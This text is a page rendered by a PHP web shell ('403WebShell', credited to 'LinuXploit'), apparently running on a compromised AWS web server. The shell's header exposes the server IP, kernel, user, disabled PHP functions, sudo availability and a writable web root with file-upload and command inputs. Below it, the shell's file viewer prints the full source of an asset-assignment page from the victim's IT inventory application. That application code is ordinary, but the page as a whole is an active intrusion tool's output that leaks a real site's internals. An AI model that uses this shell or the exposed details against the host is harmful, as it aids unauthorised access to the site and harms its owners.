Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/itms.arukustech.com/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/itms.arukustech.com/public/rented_assign_list.php
<?php
require_once __DIR__ . '/../app/db.php';
require_once __DIR__ . '/../app/helpers/auth.php';
auth();

$pdo = db();

/* FILTER DATA */
// NEW: Fetch Categories for filter
$categories = $pdo->query("SELECT DISTINCT name FROM rented_categories ORDER BY name ASC")->fetchAll(PDO::FETCH_COLUMN);
$assets = $pdo->query("SELECT DISTINCT product_name FROM rented_inventory ORDER BY product_name")->fetchAll(PDO::FETCH_COLUMN);
$users = $pdo->query("SELECT id, name FROM users WHERE status=1 ORDER BY name")->fetchAll(PDO::FETCH_ASSOC);
$projects = $pdo->query("SELECT DISTINCT project_name FROM rented_assignments WHERE project_name IS NOT NULL ORDER BY project_name ASC")->fetchAll(PDO::FETCH_COLUMN);

/* ASSIGNMENTS */
// UPDATED SQL: Added JOIN with rented_categories
$sql = "
SELECT 
 ra.id AS assign_id,
 ri.product_name,
 ri.serial_no,
 rc.name AS category_name,
 u.name AS user_name,
 u.email,
 ra.state,
 ra.city,
 ra.project_name,
 ra.assigned_at,
 ra.returned_at,
 ra.status
FROM rented_assignments ra
JOIN rented_inventory ri ON ri.id = ra.rented_inventory_id
JOIN users u ON u.id = ra.user_id
LEFT JOIN rented_categories rc ON ri.category_id = rc.id
ORDER BY ra.id DESC";
$rows = $pdo->query($sql)->fetchAll(PDO::FETCH_ASSOC);

include __DIR__ . '/header.php';
?>

<div class="main-content-inner px-4 py-3">
    <h3 class="mb-3 fw-bold">Assigned Rented Items</h3>

    <div class="card mb-3 shadow-sm border-0">
        <div class="card-body">
            <div class="row g-2">
                <div class="col-md-2">
                    <label class="form-label small fw-bold">Category</label>
                    <select id="categoryFilter" class="form-control form-control-sm" onchange="applyFilters()">
                        <option value="">All Categories</option>
                        <?php foreach($categories as $cat): ?>
                            <option value="<?= htmlspecialchars($cat) ?>"><?= htmlspecialchars($cat) ?></option>
                        <?php endforeach; ?>
                    </select>
                </div>
                <div class="col-md-2">
                    <label class="form-label small fw-bold">Asset</label>
                    <select id="assetFilter" class="form-control form-control-sm" onchange="applyFilters()">
                        <option value="">All Assets</option>
                        <?php foreach($assets as $a): ?>
                            <option value="<?= htmlspecialchars($a) ?>"><?= htmlspecialchars($a) ?></option>
                        <?php endforeach; ?>
                    </select>
                </div>
                <div class="col-md-2">
                    <label class="form-label small fw-bold">User</label>
                    <select id="userFilter" class="form-control form-control-sm" onchange="applyFilters()">
                        <option value="">All Users</option>
                        <?php foreach($users as $u): ?>
                            <option value="<?= htmlspecialchars($u['name']) ?>"><?= htmlspecialchars($u['name']) ?></option>
                        <?php endforeach; ?>
                    </select>
                </div>
                <div class="col-md-2">
                    <label class="form-label small fw-bold">Status</label>
                    <select id="statusFilter" class="form-control form-control-sm" onchange="applyFilters()">
                        <option value="">All Status</option>
                        <option value="assigned">Assigned</option>
                        <option value="returned">Returned</option>
                        <option value="unassigned">Unassigned</option> 
                    </select>
                </div>
                <div class="col-md-1">
                    <label class="form-label small fw-bold">From Date</label>
                    <input type="date" id="fromDate" class="form-control form-control-sm" onchange="applyFilters()">
                </div>
                <div class="col-md-1">
                    <label class="form-label small fw-bold">To Date</label>
                    <input type="date" id="toDate" class="form-control form-control-sm" onchange="applyFilters()">
                </div>
                <div class="col-md-2 d-flex gap-2 align-items-end">
                    <button type="button" class="btn btn-dark btn-sm w-100" onclick="applyFilters()">Filter</button>
                    <button type="button" class="btn btn-secondary btn-sm w-100" onclick="resetFilters()">Reset</button>
                </div>
            </div>

            <div class="mt-3 d-flex gap-2">
                <button type="button" class="btn btn-success btn-sm" onclick="exportExcel('assignTable', 'rented_report.xlsx')">Export Excel</button>
                <button type="button" class="btn btn-danger btn-sm" onclick="exportPDF('assignTable', 'rented_report.pdf')">Export PDF</button>
            </div>
        </div>
    </div>

    <form method="POST" action="api/rented_return_bulk.php">
        <button class="btn btn-warning btn-sm mb-3 fw-bold shadow-sm" onclick="return confirm('Return all selected items?')">
            <i class="fa fa-undo"></i> Return Selected Items
        </button>

        <div class="table-responsive card shadow-sm border-0">
            <table id="assignTable" class="table table-hover align-middle mb-0">
                <thead class="table-dark">
                    <tr>
                        <th width="40"><input type="checkbox" id="checkAll"></th>
                        <th>ID</th>
                        <th>Category</th> <th>Item Details</th>
                        <th>Assigned To</th>
                        <th>Location</th>
                        <th>Project</th>
                        <th>Assigned On</th>
                        <th>Returned On</th>
                        <th>Status</th>
                        <th class="text-center">Action</th>
                    </tr>
                </thead>
                <tbody id="reportBody">
                    <?php foreach($rows as $r): ?>
                    <tr>
                        <td>
                            <?php if($r['status']=='assigned'): ?>
                                <input type="checkbox" name="ids[]" value="<?= $r['assign_id'] ?>">
                            <?php endif; ?>
                        </td>
                        <td><?= $r['assign_id'] ?></td>
                        <td><span class="badge bg-info text-dark"><?= htmlspecialchars($r['category_name'] ?? 'N/A') ?></span></td>
                        <td>
                            <strong><?= htmlspecialchars($r['product_name']) ?></strong><br>
                            <small class="text-muted"><?= htmlspecialchars($r['serial_no']) ?></small>
                        </td>
                        <td>
                            <?= htmlspecialchars($r['user_name']) ?><br>
                            <small class="text-muted"><?= htmlspecialchars($r['email']) ?></small>
                        </td>
                        <td><small><?= htmlspecialchars($r['city']) ?>, <?= htmlspecialchars($r['state']) ?></small></td>
                        <td><?= htmlspecialchars($r['project_name']) ?></td>
                        <td><?= date('d-m-Y', strtotime($r['assigned_at'])) ?></td>
                        <td><?= $r['returned_at'] ? date('d-m-Y', strtotime($r['returned_at'])) : '-' ?></td>
                        <td>
                            <span class="badge <?= $r['status']=='assigned'?'bg-primary':'bg-success' ?>">
                                <?= ucfirst($r['status']) ?>
                            </span>
                        </td>
                        <td class="text-center">
                            <?php if($r['status'] == 'assigned'): ?>
                                <div class="btn-group btn-group-sm">
                                    <a href="api/rented_return.php?id=<?= $r['assign_id'] ?>" 
                                       class="btn btn-outline-warning" 
                                       title="Mark as Returned" 
                                       onclick="return confirm('Mark this item as Returned?')">
                                         <i class="fa fa-rotate-left"></i>
                                    </a>
                                    
                                    <a href="api/rented_unassign.php?id=<?= $r['assign_id'] ?>" 
                                       class="btn btn-outline-danger" 
                                       title="Unassign (Delete Record)" 
                                       onclick="return confirm('WARNING: This will delete the assignment record and return the item to stock. Use only for mistakes. Proceed?')">
                                         <i class="fa fa-trash"></i>
                                    </a>
                                </div>
                            <?php else: ?>
                                <i class="fa fa-lock text-muted" title="Record Locked"></i>
                            <?php endif; ?>
                        </td>
                    </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        </div>
    </form>
</div>

<script src="https://cdnjs.cloudflare.com/ajax/libs/xlsx/0.18.5/xlsx.full.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jspdf/2.5.1/jspdf.umd.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jspdf-autotable/3.5.28/jspdf.plugin.autotable.min.js"></script>

<script>
// ---------------- FILTER LOGIC ----------------
function applyFilters() {
    let category = document.getElementById("categoryFilter").value.toLowerCase();
    let asset = document.getElementById("assetFilter").value.toLowerCase();
    let user = document.getElementById("userFilter").value.toLowerCase();
    let status = document.getElementById("statusFilter").value.toLowerCase();
    let from = document.getElementById("fromDate").value;
    let to = document.getElementById("toDate").value;

    let rows = document.querySelectorAll("#reportBody tr");

    rows.forEach(row => {
        let rowCat = row.cells[2].innerText.toLowerCase(); // Category index 2
        let rowAsset = row.cells[3].innerText.toLowerCase(); // Shifted to 3
        let rowUser = row.cells[4].innerText.toLowerCase(); // Shifted to 4
        let rowDate = row.cells[7].innerText.trim(); // Assigned On Date index 7
        let rowStatus = row.cells[9].innerText.toLowerCase(); // Status index 9

        let show = true;
        if (category && !rowCat.includes(category)) show = false;
        if (asset && !rowAsset.includes(asset)) show = false;
        if (user && !rowUser.includes(user)) show = false;
        if (status && !rowStatus.includes(status)) show = false;
        
        // Date formatting for comparison
        if (from || to) {
            let parts = rowDate.split('-');
            let checkDate = `${parts[2]}-${parts[1]}-${parts[0]}`; // Convert d-m-Y to Y-m-d
            if (from && checkDate < from) show = false;
            if (to && checkDate > to) show = false;
        }

        row.style.display = show ? "" : "none";
    });
}

function resetFilters() {
    document.querySelectorAll('.form-control-sm').forEach(el => el.value = "");
    applyFilters();
}

// ---------------- EXPORT LOGIC ----------------
function exportExcel(tableId, filename) {
    let table = document.getElementById(tableId);
    let tableClone = table.cloneNode(true);
    let rows = tableClone.querySelectorAll('tr');
    rows.forEach(row => {
        row.removeChild(row.lastElementChild); // Remove Action
        row.removeChild(row.firstElementChild); // Remove Checkbox
    });
    let wb = XLSX.utils.table_to_book(tableClone, { sheet: "Assignments" });
    XLSX.writeFile(wb, filename);
}

async function exportPDF(tableId, filename) {
    const { jsPDF } = window.jspdf;
    let doc = new jsPDF('l', 'mm', 'a4'); 
    doc.text("Rented Assignments Report", 14, 15);
    doc.autoTable({
        html: "#" + tableId,
        startY: 20,
        theme: "grid",
        columns: [1, 2, 3, 4, 5, 6, 7, 8, 9], // Updated columns to include Category
        styles: { fontSize: 7 }
    });
    doc.save(filename);
}

document.getElementById('checkAll').addEventListener('change', function() {
    let checkboxes = document.querySelectorAll('input[name="ids[]"]');
    checkboxes.forEach(cb => {
        if (cb.closest('tr').style.display !== 'none') cb.checked = this.checked;
    });
});
</script>

<?php include __DIR__ . '/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit